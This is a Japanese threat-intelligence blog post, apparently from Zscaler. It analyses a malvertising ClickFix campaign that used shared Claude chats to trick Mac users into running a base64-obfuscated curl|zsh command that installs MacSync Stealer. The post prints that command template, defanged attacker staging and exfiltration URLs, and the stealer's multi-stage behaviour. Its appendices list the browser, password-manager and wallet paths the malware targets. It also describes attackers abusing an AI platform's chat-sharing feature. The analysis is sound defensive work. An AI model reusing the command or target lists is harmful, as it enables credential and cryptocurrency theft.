Zscalerのブログ
Zscalerの最新ブログ情報を受信
ClaudeFix: Claude共有チャットを悪用したClickFix攻撃
はじめに
ClickFixは、2024年に初めて確認された広く用いられている攻撃手法で、被害者に対して問題を「修正する」、またはソフトウェアをインストールするためと称して、自身のシステムでコマンドを貼り付けて実行するよう指示します。一見無害に見える指示は、実は悪意のあるものであり、被害者のシステムにマルウェアが展開される結果につながります。Zscaler Threat Huntingは最近、AnthropicのClaudeプラットフォームを悪用したClickFix攻撃を確認しました。これは、共有可能なClaudeチャットを駆使してこれらの指示をホストしており、従来の攻撃からの転換を示しています。AIプラットフォームの普及に伴い、脅威アクターは共有可能なチャットなどの正当な機能を悪用し、悪意のあるコンテンツに信憑性を持たせることが増えています。本ブログでは、Zscaler Threat Huntingチームが共有されたClaudeチャットを通じて配布されたMacSync Stealerキャンペーンについて検証します。
注：Zscaler Threat Huntingは、Anthropicに対して同社プラットフォームの悪用を通知しました。本ブログ公開時点では、このキャンペーンの共有チャットにはアクセスできなくなっています。
重要なポイント
- MacSync Stealerの背後にいる脅威アクターは、AIプラットフォーム(Claudeなど)を悪用してClickFixコンテンツをホストし、正規のものだという印象を強めるとともに、攻撃手法・戦術・手順(TTP)の進化を続けています。
- MacSync Stealerの背後にいる脅威アクターは、偽の「クラック版」アプリケーションによる配布から、現在では一般的となったClickFix手法へと配布方法を切り替えています。す。
- このキャンペーンでは、マルバタイジングが重要な要素でした。攻撃者は有料広告を利用してClaudeを検索するMacユーザーをClaude共有チャットに誘導し、ClickFixコマンドの実行を指示することで、MacSync Stealerをダウンロードさせていました。
- MacSync Stealerは、認証情報、機密ファイル、仮想通貨ウォレット データを窃取する能力を備えています。
技術分析
Zscaler Threat Huntingチームは、このClickFix攻撃チェーンにおいて複数の段階が存在することを確認しました。
第1段階
被害者は検索エンジンで「claude download」などのキーワードを検索すると、検索結果にClaude共有チャット リンクへのリンクを含む有料広告が表示されます。公式のClaudeドメインが使用されているため、この検索結果は最初から正規のものだと信頼されやすくなっています。被害者がこの有料広告をクリックすると、下図に示すようにClaude共有チャットにリダイレクトされます。
.jpg)
図1: Claude共有チャット上にホストされたMacSync StealerのClickFix手順。
ホスティング プラットフォーム自体が正規のものであることに加え、脅威アクターはコンテンツも本物らしく見えるように作成していました。チャットの右上には「Shared by Apple Support」というラベルが表示されています。脅威アクターはおそらく、Claudeの表示名を「Apple Support」に設定し、共有可能なリンクを生成した際にこのラベルが表示されるようにしたのでしょう。
被害者が実行するように指示されるインストール コマンドは、送信先URLをBase64エンコードによって難読化したcurlコマンドです。このコマンドは通常、以下の形式となります。
curl -kfsSL $(echo '[base64_string]'|base64 -D)|zsh Base64エンコードされた文字列をデコードすると、通常はhttp://[domain]/curl/[a-f0-9]{64}$という形式のURLになります。このURLは、MacSync Stealer感染における第1段階として機能します。このURLにcurlリクエストを送信すると、Zシェル(zsh)スクリプトが返され、インストール コマンドの末尾で指定されているように、そのスクリプトがzshに直接パイプされます。
MacSync StealerのステージングURLの例を以下に示します。
http://lasvegaslaminateflooring[.]com/curl/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abbこのURLから返されるzshスクリプトには、Blob (データの塊)が含まれています。このBlobは、まずBase64デコードされた後、gzipで展開され、第2段階のスクリプトが復元されます。この第2段階のスクリプトは、下の図末尾に示されているevalコマンドを使用してターミナルで実行されます。
.jpg)
図2: MacSync Stealerを配布する例示的な第1段階のURLから返されるZshスクリプトの例
第2段階
機能的には、この第2段階のzshスクリプトは、まずすべての出力を/dev/nullにリダイレクトし、実行中であることを示す表示をすべて隠します。次に、このスクリプトはMacSync Stealerの中核となる窃取機能を含む第3段階を$domain/dynamic?txd=$tokenの形式のURLからダウンロードします。この際、HTTPヘッダーapi-key: $api_keyを使用します($domain、$token、$api_keyの値はスクリプト内にハードコードされています)。ダウンロードされたコンテンツは直接osascriptに送られ、影響を受けたシステムにはファイルの痕跡が残りません。
最後に、第2段階のzshスクリプトは/tmp/osalogging.zipという名前のファイルが存在するかを確認します。このファイルには、影響を受けたシステムから収集された機密情報が含まれることが想定されています。ファイルが存在し、かつサイズが0でない場合、スクリプトは収集したデータを10MB単位に分割し、以下のURLにHTTP PUTリクエストで送信します。
$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks この方式において、$domainと$tokenはスクリプトにハードコードされています。$upload_idは、日付とランダムに生成された数値に基づいてシステムごとに生成されます。$total_chunksはファイル サイズを10MBで割って算出され、$iは各チャンクが送信されるたびにループ カウンターによって設定されます。アップロードが失敗した場合、スクリプトは各チャンクのアップロードを最大8回まで再試行します。
窃取が完了すると、スクリプトはシステムから/tmp/osalogging.zipを削除し、システムにMacSync Stealerの痕跡を一切残さないようにします。
第3段階
マルウェアの中核となる窃取機能を含む第3段階には、以下の機能があります。
~/Library/Cookies/にアクセスしようとします。これはおそらく、スクリプトが実行されているアクセス レベルを測定するためです。アクセスに失敗した場合、以下の手順に進みます。- マルウェアは
~/.zshrcを改変し、MacSyncの第2段階スクリプトをダウンロードし、出力をzshにパイプするcurlコマンドを追加します。このコマンドは、ユーザーが第1段階で貼り付けて実行したコマンドと同じ形式です。この機能により、永続化が実装され、ターミナルを開くたびに第2段階スクリプトがダウンロードおよび実行されます。 - 「アクセスを許可して端末を再起動してください」というメッセージと「フル ディスク アクセスが必要です！」というタイトルを表示して、被害者にフル ディスク アクセスを許可するよう促します。その後、この設定を有効化できるセキュリティとプライバシー画面を開きます。
アクセスに成功した場合、スクリプトは
~/.zshrcから永続化を実装するcurlコマンドを削除し、以下の手順に進みます。- マルウェアは
- 情報窃盗プログラムが実行されていることを示すロック ファイルとして機能する
/tmp/macsync_0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb.lockディレクトリーを作成します。 - 偽のプロンプトを表示することで、被害者にmacOSのパスワードを入力させます。
- 収集した窃取情報を、以下の表に記載されている機能により
/tmp/sync[randomNumber]ディレクトリーに保存します。
カテゴリー | 機能 |
|---|---|
資格情報 アクセス
| すべてのキーチェーン ファイル( |
Chromiumベースのブラウザー向けに、ローカルのブラウザー固有ストレージ パス内にある | |
Geckoベースのブラウザーから認証情報を含む可能性のあるブラウザー ファイル( | |
Chromiumベースのブラウザーで使用されるパスワード マネージャー関連の既知のブラウザー拡張機能を検索し、該当するローカル ファイルを | |
探索
| システムの探索を実行し、被害者のユーザー名とパスワード、さらにソフトウェア、ハードウェア、グラフィック情報などのデバイス フィンガープリンティング情報も含む |
実行中のプロセスに関する情報を収集し、その結果を | |
収集 | シェル設定と履歴ファイル( |
Telegramアプリケーションのファイルを | |
選択されたディレクトリー( | |
仮想通貨向けChrome拡張機能の列挙と収集 | 仮想通貨ウォレットに関連する既知のChromium拡張機能を検索し、関連するローカル ファイルを |
デスクトップ版仮想通貨ウォレット アプリケーションの列挙と収集 | 人気のあるデスクトップ版仮想通貨ウォレット アプリケーションに対応するフォルダー全体をコピーし、 |
表1: MacSync Stealerのデータ窃取機能。
/tmp/sync[randomNumber]下に収集されたすべてのデータは/tmp/osalogging.zipに圧縮され、前述の段階で説明した方法で外部に送信されます。アーカイブの作成後、MacSync Stealerは/tmp/sync*ディレクトリーを削除し、ロック用ディレクトリーも削除します。最後に、MacSync Stealerは、影響を受けたシステムにそれぞれLedger Wallet、Ledger Live、Trezor Suiteのアプリケーションが存在する場合、以下のURLから追加で3つのペイロードのダウンロードを試みます。
lasvegaslaminateflooring[.]com/ledger/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abblasvegaslaminateflooring[.]com/ledger/live/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abblasvegaslaminateflooring[.]com/trezor/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb
これらのペイロードは分析時点で取得できませんでしたが、前述のアプリケーションを装ったトロイの木馬を仕込んだ改変版である可能性が高いと考えられます。
マルバタイジング キャンペーンに関する観察結果
Zscaler Threat Huntingは、複数の顧客間におけるZscaler Internet Access (ZIA)のログを分析しているため、このキャンペーンの規模についてより広範に把握することができました。このキャンペーンは短期間で終了したとみられ、2026年6月12日から19日まで実施されていました。トラフィックで確認されたUTMパラメーターに基づき、以下のことが判明しました。
- 広告リンクのソースは常にGoogleでした。
- 22種類の固有のキャンペーン アイデンティティーが確認されました。
- 以下の7種類の固有のutm_term値が確認されました。
- Claude
- claude ai
- claude code
- claude mac
- ai claude
- claude code desktop mac
- claude 客户 端 (client)
Zscaler Threat Huntingは、これらのClickFix/MacSync Stealerキャンペーンで使用された悪意のあるドメインが、米国内の地域サービスに関連するテーマを採用していることを確認しました。以下の一覧は、このパターンに該当するドメインの一部です(完全な一覧については、本ブログ末尾のIOCセクションに記載されています)。
realtorsmichigan[.]comcentralfloridapowerwash[.]comsyracusefertilitycenter[.]comdogtrainersgeorgia[.]comlasvegaslaminateflooring[.]commoldinspectiondayton[.]comnewjerseypetsitter[.]commiamipcsupport[.]comlifecoachrochester[.]comcabinrentalsnc[.]comfloridavacationvillarental[.]comlasvegasweddingreception[.]comdallasirrigationservices[.]comtoledotreeservices[.]comhomeinspectionsdelaware[.]comchicagometalscrap[.]com
また、第3段階のAppleScriptペイロードにはロシア語のコメントも確認されました。これは、これらの攻撃の背後にいる脅威アクターがロシア語話者である可能性が高いことを示唆しています。以下の表は、これらのコメントの例とその翻訳を示しています。
ロシア語のコメント | 翻訳 |
|---|---|
-- Простое копирование всех важных файлов (включая WAL/SHM) | -- すべての重要なファイル(WAL/SHMを含む)を簡単にコピーできます |
-- Убрана хрупкая SafeSQLiteCopy (часто падала когда Firefox запущен) | -- 不安定な( Firefox実行中に頻繁にクラッシュしていた) SafeSQLiteCopyを削除しました |
表2:ロシア語のコメントとその翻訳。
まとめ
MacSync Stealerを配布するこのClickFixキャンペーンは、脅威アクターが信頼されたプラットフォームを悪用して攻撃するケースが増えていることを示しています。今回の場合、攻撃者はマルバタイジングを利用してClickFixの「paste-and-run」コマンドを含むClaude共有チャットにユーザーを誘導しました。これらのコマンドを実行すると、多段階の感染チェーンを引き起こし、最終的にmacOSデバイスにMacSync Stealerが展開され、認証情報やデータの窃盗が可能になります。Zscaler Threat Huntingチームはこの活動を引き続き追跡しており、検出やIOCを提供して関連する脅威の特定とブロックを支援しています。
Zscalerの対応範囲
Zscalerの多層型クラウド セキュリティ プラットフォームは、MacSyncに関連する指標をさまざまなレベルで検知し、以下の脅威名で識別します。
侵害の痕跡(IoC)
キル チェーン指標の分析
lasvegaslaminateflooring[.]com/curl/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb |
lasvegaslaminateflooring[.]com/dynamic?txd=0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb |
lasvegaslaminateflooring[.]com/ledger/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb |
lasvegaslaminateflooring[.]com/ledger/live/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb |
lasvegaslaminateflooring[.]com/trezor/0e17984a73d0b1c9c7c3916d32c49c8937f2e42d4c72c543c82999463a507abb |
MacSync Stealerのホスティング ドメイン
proviewhomeinspections[.]com |
meadow84[.]com |
pearlanvil14[[.]]com |
denverplumbingandwaterheater[.]com |
verse-57[.]com |
hawaiiwindowtinting[.]com |
slate16[.]com |
swisshomesforsale[.]com |
pine-1[.]com |
garagedoorskentucky[.]com |
quest-38[.]com |
floridakitchencabinet[.]com |
workshoplens[.]com |
shoresatin[.]com |
rudder93[.]com |
emberjourney18[.]com |
pearlswift16[.]com |
jozuvisuals[.]com |
harbor-29[.]com |
stratosnova14[.]com |
healthcareqai[.]com |
journey71[.]com |
gainesvillewebsitedesign[.]com |
dubaivehiclemart[.]com |
genomicsforge[.]com |
agingfighter[.]com |
workshopcurrent[.]com |
luxuryswisshomes[.]com |
majordubai[.]com |
ballad82[.]com |
quill-67[.]com |
coloradoaffordablelawyer[.]com |
glowworkshop15[.]com |
tide-39[.]com |
fablecube15[.]com |
realtorsmichigan[.]com |
centralfloridapowerwash[.]com |
pearl-49[.]com |
vineworkshop1[.]com |
syracusefertilitycenter[.]com |
havenaspen2[.]com |
plumechisel[.]com |
chant-78[.]com |
kiteshore[.]com |
georgia[.]com |
rudder-bloom[.]com |
advertisingeffectively[.]com |
kitefeather5[.]com |
dogtrainersgeorgia[.]com |
vibestride8[.]com |
conenctagent[.]com |
robscarpetcleaning[.]com |
pdrncosmetics[.]com |
satin87[.]com |
lasvegaslaminateflooring[.]com |
gatravelagency[.]com |
harvest-53[.]com |
trailshore17[.]com |
stratos37[.]com |
scope-quest[.]com |
moldinspectiondayton[.]com |
fern16[.]com |
kernel-frame[.]com |
newjerseypetsitter[.]com |
lyricopal1[.]com |
fern-76[.]com |
miamipcsupport[.]com |
languageschoolai[.]com |
lakevine8[.]com |
trekmesh15[.]com |
vinebridge12[.]com |
onyxkite[.]com |
summit86[.]com |
maplecirrus[.]com |
quartzleap5[.]com |
canvas-coral[.]com |
satin40[.]com |
anvil-wave[.]com |
buynewgymequipment[.]com |
renderframe20[.]com |
cabinrentalsnc[.]com |
slatesatin[.]com |
lifecoachrochester[.]com |
floridavacationvillarental[.]com |
anvillyric1[.]com |
leaflyric4[.]com |
garden13[.]com |
lasvegasweddingreception[.]com |
stitchstratos[.]com |
forgeboost16[.]com |
summit-68[.]com |
aspen32[.]com |
flintfeather5[.]com |
lens-kite[.]com |
quest-raster[.]com |
orbitstitch5[.]com |
chisel-perch[.]com |
balladspark[.]com |
delta-66[.]com |
meshfeed4[.]com |
dramshopliabilityattorney[.]com |
willow-blaze[.]com |
tide-maple[.]com |
nimbusstratos12[.]com |
blueprintmesh[.]com |
sreachagent[.]com |
dallasirrigationservices[.]com |
toledotreeservices[.]com |
aigenerativeos[.]com |
browserling[.]com |
kernelfable[.]com |
homeinspectionsdelaware[.]com |
driftpress11[.]com |
anvil-89[.]com |
quillchisel20[.]com |
codxeagent[.]com |
5x5web[.]com |
pinescope11[.]com |
chicagometalscrap[.]com |
rudderwillow8[.]com |
olympiapetemergency[.]com |
perch-74[.]com |
affordtentrentals[.]com |
empexf[.]com |
699524[.]cc |
589669[.]cc |
625167[.]cc |
touristprogram[.]com |
yoauction[.]com |
forgequest2[.]com |
sdlasik[.]com |
charlottefilmstudios[.]com |
cedar-satin[.]com |
marbellaresales[.]com |
web-stat-2685[.]com |
smratagent[.]com |
seattlefilmstudios[.]com |
alabamarecoverycenter[.]com |
paeviction[.]com |
coloradoconstructionsupply[.]com |
byrnewealthmanagement[.]com |
homeinspectionnaperville[.]com |
orbitstride7[.]com |
vacationrentalvirginia[.]com |
unifiedaiapi[.]com |
iowagaragedoor[.]com |
bestbuydomain[.]com |
napavalleymentalhealth[.]com |
purtwre[.]com |
atlanticwoodworking[.]com |
pubre[.]com |
ursamade[.]com |
trailblazehealth[.]com |
znoeagent[.]com |
alluringsites[.]com |
api-metrics-5453[.]com |
ncsolarpanel[.]com |
apxeagent[.]com |
fullcolorprinters[.]com |
spotlessridesdetailing[.]com |
drivinguber[.]com |
wolfwraps[.]com |
curretagent[.]com |
elitefenceanddeck[.]com |
cashlessend[.]com |
buywx[.]com |
kitchenbathremodels[.]com |
aidevmaster[.]com |
dallasoverheaddoors[.]com |
aleeci[.]com |
trufflecatering[.]com |
ednasoftware[.]com |
jerryshvac[.]com |
kidsjumpandplay[.]com |
kirkcharlie[.]com |
cincycarpetcleaning[.]com |
beachjiujitsu[.]com |
whichitaautosales[.]com |
houstonpestcontrolcompany[.]com |
3plfast[.]com |
xprssit[.]com |
dualverify[.]com |
fredscarpetcleaning[.]com |
bcrealestateagency[.]com |
fractocode[.]com |
prmieagent[.]com |
coeragent[.]com |
suzke[.]com |
belldredgingpump[.]com |
kylesplumbing[.]com |
miamidadenotary[.]com |
nationalspacecouncil[.]com |
briskinternet[.]com |
modernhomeai[.]com |
sonyda[.]com |
envestassetmanagement[.]com |
thevenueapartments[.]com |
bitcoinlnwallet[.]com |
ideanica[.]com |
longbeachmartialarts[.]com |
stelaragent[.]com |
customroofingcontractors[.]com |
greenactiv[.]com |
lalandscapelighting[.]com |
arbokfind[.]com |
amedatur[.]com |
aisolutions247[.]com |
arbookfind[.]com |
付録
標的となるChromiumベースのブラウザー
ブラウザー名 | ブラウザー固有のローカル パス |
|---|---|
Yandex | /Users/[username]/Library/Application Support/Yandex/YandexBrowser/ |
Chrome | /Users/[username]/Library/Application Support/Google/Chrome/ |
Brave | /Users/[username]/Library/Application Support/BraveSoftware/Brave-Browser/ |
Edge | /Users/[username]/Library/Application Support/Microsoft Edge/ |
Vivaldi | /Users/[username]/Library/Application Support/Vivaldi/ |
Opera | /Users/[username]/Library/Application Support/com.operasoftware.Opera/ |
OperaGX | /Users/[username]/Library/Application Support/com.operasoftware.OperaGX/ |
Chrome Beta | /Users/[username]/Library/Application Support/Google/Chrome Beta/ |
Chrome Canary | /Users/[username]/Library/Application Support/Google/Chrome Canary |
Chromium | /Users/[username]/Library/Application Support/Chromium/ |
Chrome Dev | /Users/[username]/Library/Application Support/Google/Chrome Dev/ |
Arc | /Users/[username]/Library/Application Support/Arc/User Data |
Coccoc | /Users/[username]/Library/Application Support/CocCoc/Browser/ |
標的となるGeckoベースのブラウザー
ブラウザー名 | ブラウザー固有のローカル パス |
|---|---|
Firefox | /Users/[username]/Library/Application Support/Firefox/Profiles/ |
Zen | /Users/[username]/Library/Application Support/zen/Profiles/ |
LibreWolf | /Users/[username]/Library/Application Support/LibreWolf/Profiles/ |
Waterfox | /Users/[username]/Library/Application Support/Waterfox/Profiles/ |
特定のパスワード マネージャー拡張機能
拡張機能ID | 拡張機能名 |
|---|---|
eiaeiblijfjekdanodkjadfinkhbfgcd | NordPass |
aeblfdkhhhdcdjpifhhbdiojplfjncoa | 1Password |
bfogiafebfohielmmehodmfbbebbbpei | Keeper |
nngceckbapebfimnlniiiahkandclblb | Bitwarden |
fdjamakpfbbddfjaooikfcpabgjikfkp | Dashlane |
hdokiejnpimakedhajhdlcegeplioahd | LastPass |
pnlccmojcmeohlpggmfnbbiapkmbliob | RoboForm |
ghmbeldphafepmbegfdlkpapadhbakde | Proton Pass |
kmcfomidfpdkfieipokbalgegidffkal | Enpass |
bnfdmghkeppfadphbnkjcicejfepnbfe | Sticky Password manager & safe |
caljgklbbfbcjjanaijlacgncafpegll | Avira Password Manager |
folnjigffmbjmcjgmbbfcpleeddaedal | LogMeOnce |
igkpcodhieompeloncfnbekccinhapdb | Zoho Vault |
admmjipmmciaobhojoghlmleefbicajg | Norton Password Manager |
ehpbfbahieociaeckccnklpdcmfaeegd | RememBear |
epanfjkfahimkgomnigadpkobaefekcd | IronVest |
didegimhafipceonhjepacocaffmoppf | Passbolt |
oboonakemofpalcgghocfoadofidjkkk | KeePassXC |
jgnfghanfbjmimbdmnjfofnbcgpkbegj | KeePassHelper |
mmhlniccooihdimnnjhamobppdhaolme | Kee - Password Manager |
dbfoemgnkgieejfkaddieamagdfepnff | 2FAS Auth |
bhghoamapcdpbohphigoooaddinpkbai | Authenticator |
lojeokmpinkpmpbakfkfpgfhpapbgdnd | Google Verified Access by Duo |
ibpjepoimpcdofeoalokgpjafnjonkpc | TOTP Authenticator |
gmohoglkppnemohbcgjakmgengkeaphi | 2FA Authenticator |
dckgbiealcgdhgjofgcignfngijpbgba | Open Two-Factor Authenticator |
gmegpkknicehidppoebnmbhndjigpica | Web2FA - Authenticator |
eiokpeobbgpinbmcanngjjbklmhlepan | MFAuth - 2FA Authenticator |
odfkmgboddhcgopllebhkbjhokpojigd | Authenticator Extension |
ppnbnpeolgkicgegkbkbjmhlideopiji | Microsoft Single Sign On |
cejfhijdfemlohmcjknpbeaohedoikpp | Secure TOTP Authenticator |
nmhjblhloefhbhgbfkdgdpjabaocnhha | mini authenticator |
iklgijhacenjgjgdnpnohbafpbmnccek | 2! Authenticator |
ppkkcfblhfgmdmefkmkoomenhgecbemi | Authenticator for PC |
lgndjfkadlbpaifdpbbobdodbaiaiakb | Authenticator App |
bbphmbmmpomfelajledgdkgclfekilei | Authenticator app |
標的となる仮想通貨ウォレット拡張機能
拡張機能ID | 拡張機能名 |
|---|---|
nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask |
bfnaelmomeimhlpmgjnjophhpkkoljpa | Phantom |
hnfanknocfeofbddgcijnmhnfnkdnaad | Coinbase Wallet extension |
fnjhmkhhmkbjkkabndcnnogagogbneec | RoninWallet |
acmacodkjbdgmoleebolmdjonilkdbch | Rabby Wallet |
egjidjbpglichdcondbcbdnbeeppgdph | Trust Wallet |
aholpfdialjgjfhomihkjbmgjidlcdno | Exodus Web3 Wallet |
pdliaogehgdbhbnmkklieghmmjkpigpa | Bybit Wallet |
mcohilncbfahbmgdjkbpemcciiolgcge | OKX Wallet |
hpglfhgfnhbgpjdenjgmdgoeiappafln | Guarda Crypto Wallet |
bhhhlbepdkbapadjdnnojkbgioiodbic | Solflare Wallet |
cjmkndjhnagcfbpiemnkdpomccnjblmj | Finnie |
kamfleanhcmjelnhaeljonilnmjpkcjc | Inspect - Crypto | NFTs | DeFi | Web3 |
jnldfbidonfeldmalbflbmlebbipcnle | Bitfinity Wallet |
fdcnegogpncmfejlfnffnofpngdiejii | Razor Wallet |
klnaejjgbibmhlephnhpmaofohgkpgkd | Bearby |
kjjebdkfeagdoogagbhepmbimaphnfln | Ultra Wallet |
ldinpeekobnhjjdofggfgjlcehhmanlj | Leather |
kpfchfdkjhcoekhdldggegebfakaaiog | FRWT Secure DeFi Crypto Wallet |
idnnbdplmphpflfnlkomgpfbpcgelopg | Xverse: Bitcoin Crypto Wallet |
mlhakagmgkmonhdonhkpjeebfphligng | ABC Wallet - Safe Web3 wallet |
bipdhagncpgaccgdbddmbpcabgjikfkn | Clown Wallet |
nhnkbkgjikgcigadomkphalanndcapjk | CLV Wallet |
klghhnkeealcohjjanjjdaeeggmfmlpl | Zerion Wallet: Crypto & DeFi |
ebfidpplhabeedpnhjnobghokpiioolj | Fewcha Move Wallet |
emeeapjkbcbpbpgaagfchmcgglmebnen | Surf Wallet |
fldfpgipfncgndfolcbkdeeknbbbnhcc | My Wallet: Crypto Wallet |
penjlddjkjgpnkllboccdgccekpkcbin | OpenMask - TON wallet |
hmeobnfnfcmdkdcmlblgagmfpfboieaf | Ctrl Wallet |
omaabbefbmiijedngplfjmnooppbclkk | Tonkeeper — wallet for TON |
jnlgamecbpmbajjfhmmmlhejkemejdma | Braavos: Bitcoin & Starknet Wallet |
fpkhgmpbidmiogeglndfbkegfdlnajnf | Cosmostation Wallet |
bifidjkcdpgfnlbcjpdkdcnbiooooblg | Fuelet Wallet | Fuel |
amkmjjmmflddogmhpjloimipbofnfjih | Wombat - Gaming Wallet for Ethereum & EOS |
aeachknmefphepccionboohckonoeemg | Coin98 Wallet Extension: Crypto & Defi |
dmkamcknogkgcdfhhbddcghachkejeap | Keplr |
aiifbnbfobpmeekipheeijimdpnlpgpp | Station Wallet |
ehgjhhccekdedpbkifaojjaefeohnoea | Ambire Web3 Wallet |
nknhiehlklippafakaeklbeglecifhad | Nabox Wallet |
nphplpgoakhhjchkkhmiggakijnkhfnd | TON Wallet |
ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink |
afbcbjpbpfadlkmhmclhkeeodmamcflc | MathWallet |
efbglgofoippbgcjepnhiblaibcnclgk | Martian Aptos & Sui Wallet Extension |
fccgmnglbhajioalokbcidhcaikhlcpm | Zapit: Crypto Wallet & P2P Exchange |
mgffkfbidihjpoaomajlbgchddlicgpn | PaliWallet |
fopmedgnkfpebgllppeddmmochcookhc | Suku Wallet |
jojhfeoedkpkglbfimdfabpdfjaoolaf | PolymeshWallet |
abkahkcbhngaebpcgfmhkoioedceoigp | Casper Wallet |
gkeelndblnomfmjnophbhfhcjbcnemka | Bitverse Wallet |
hgbeiipamcgbdjhfflifkgehomnmglgk | Harbor - Crypto Wallet |
ellkdbaphhldpeajbepobaecooaoafpg | ASI Alliance Wallet |
mdnaglckomeedfbogeajfajofmfgpoae | Energy8 Wallet |
ckklhkaabbmdjkahiaaplikpdddkenic | Internet Money | Crypto Wallet |
fmblappgoiilbgafhjklehhfifbdocee | Forbole X |
cnmamaachppnkjgnildpdmkaakejnhae | AuroWallet |
fijngjgcjhjmmpcmkeiomlglpeiijkld | Talisman Wallet |
lbjapbcmmceacocpimbpbidpgmlmoaao | Metalet |
ibljocddagjghmlpgihahamcghfggcjc | Virgo Wallet |
gkodhkbmiflnmkipcmlhhgadebbeijhh | Soter | Aleo Wallet |
dbgnhckhnppddckangcjbkjnlddbjkna | Fin Wallet For Sei |
agoakfejjabomempkjlepdflaleeobhb | Core Wallet: Crypto Made Easy |
dgiehkgfknklegdhekgeabnhgfjhbajd | Komodo Wallet |
onhogfjeacnfoofkfgppdlbmlmnplgbn | SubWallet - Polkadot Wallet |
ojggmchlghnjlapmfbnjholfjkiidbch | Venom Wallet |
pmmnimefaichbcnbndcfpaagbepnjaig | FoxWallet |
anokgmphncpekkhclmingpimjmcooifb | Compass Wallet |
kkpllkodjeloidieedojogacfhpaihoh | Enkrypt: ETH, BTC and Solana Wallet |
iokeahhehimjnekafflcihljlcjccdbe | Alby - Bitcoin Wallet for Lightning & Nostr |
ifckdpamphokdglkkdomedpdegcjhjdp | ONTO Wallet |
loinekcabhlmhjjbocijdoimmejangoa | Glass wallet | Sui wallet |
fcfcfllfndlomdhbehjjcoimbgofdncg | Leap Wallet Extension |
ifclboecfhkjbpmhgehodcjpciihhmif | Klever Wallet |
ookjlbkiijinhpmnjffcofjonbfbgaoc | Temple Wallet |
oafedfoadhdjjcipmcbecikgokpaphjk | CoinWallet: BTC Crypto Wallet |
mapbhaebnddapnmifbbkgeedkeplgjmf | Biport Wallet |
lgmpcpglpngdoalbgeoldeajfclnhafa | SafePal Extension Wallet |
ppbibelpcjmhbdihakflkdcoccbgbkpo | UniSat Wallet |
ffnbelfdoeiohenkjibnmadjiehjhajb | SecondFi (Yoroi) |
opcgpfmipidbgpenhmajoajpbobppdil | Slush — A Sui wallet |
hdkobeeifhdplocklknbnejdelgagbao | Crypto wallet – Bitcoin & USDT |
lnnnmfcpbkafcpgdilckhmhbkkbpkmid | Koala Wallet |
nbdhibgjnjpnkajaghbffjbkcgljfgdi | Ramper Wallet |
kmhcihpebfmpgmihbkipcmlmmioameka | - |
kmphdnilpmdejikjdnlbcnmnabepfgkh | OsmWallet - Your XRP wallet. |
khpkpbbcccdmmclmpigdgddabeilkdpd | Suiet Sui Wallet |
dlcobpjiigpikoobohmabehhmhfoodbb | Ready X |
mkpegjkblkkefacfnmkajcjmabijhclg | Magic Eden Wallet |
dldjpboieedgcmpkchcjcbijingjcgok | Fuel Wallet |
jiidiaalihmmhddjgbnbgdfflelocpak | Bitget Wallet - Crypto、Web3 | BitcoinとUSDT |
標的となるデスクトップ版ウォレット アプリケーション フォルダー
/Users/[username]/Library/Application Support/Exodus/ |
/Users/[username]/.electrum/wallets/ |
/Users/[username]/Library/Application Support/Atomic Wallet/Local Storage/leveldb/ |
/Users/[username]/Library/Application Support/Guarda/ |
/Users/[username]/Library/Application Support/Coinomi/wallets/ |
/Users/[username]/.sparrow/wallets/ |
/Users/[username]/.walletwasabi/client/Wallets/ |
/Users/[username]/Library/Application Support/Bitcoin/ |
/Users/[username]/Library/Application Support/Armory/ |
/Users/[username]/.electron-cash/wallets/ |
/Users/[username]/.bitmonero/wallets/ |
/Users/[username]/Library/Application Support/Litecoin/ |
/Users/[username]/Library/Application Support/DashCore/ |
/Users/[username]/Library/Application Support/Dogecoin/ |
/Users/[username]/.electrum-ltc/wallets/ |
/Users/[username]/Library/Application Support/BlueWallet/ |
/Users/[username]/Library/Application Support/Zengo/ |
/Users/[username]/Library/Application Support/Trust Wallet/ |
/Users/[username]/Library/Application Support/Ledger Live/ |
/Users/[username]/Library/Application Support/Ledger Wallet/ |
/Users/[username]/Library/Application Support/@trezor |
免責事項：このブログは、Zscalerが情報提供のみを目的として作成したものであり、「現状のまま」提供されています。記載された内容の正確性、完全性、信頼性については一切保証されません。Zscalerは、ブログ内の情報の誤りや欠如、またはその情報に基づいて行われるいかなる行為に関して一切の責任を負いません。また、ブログ内でリンクされているサードパーティーのWebサイトおよびリソースは、利便性のみを目的として提供されており、その内容や運用についても一切の責任を負いません。すべての内容は予告なく変更される場合があります。このブログにアクセスすることで、これらの条件に同意し、情報の確認および使用は自己責任で行うことを理解したものとみなされます。
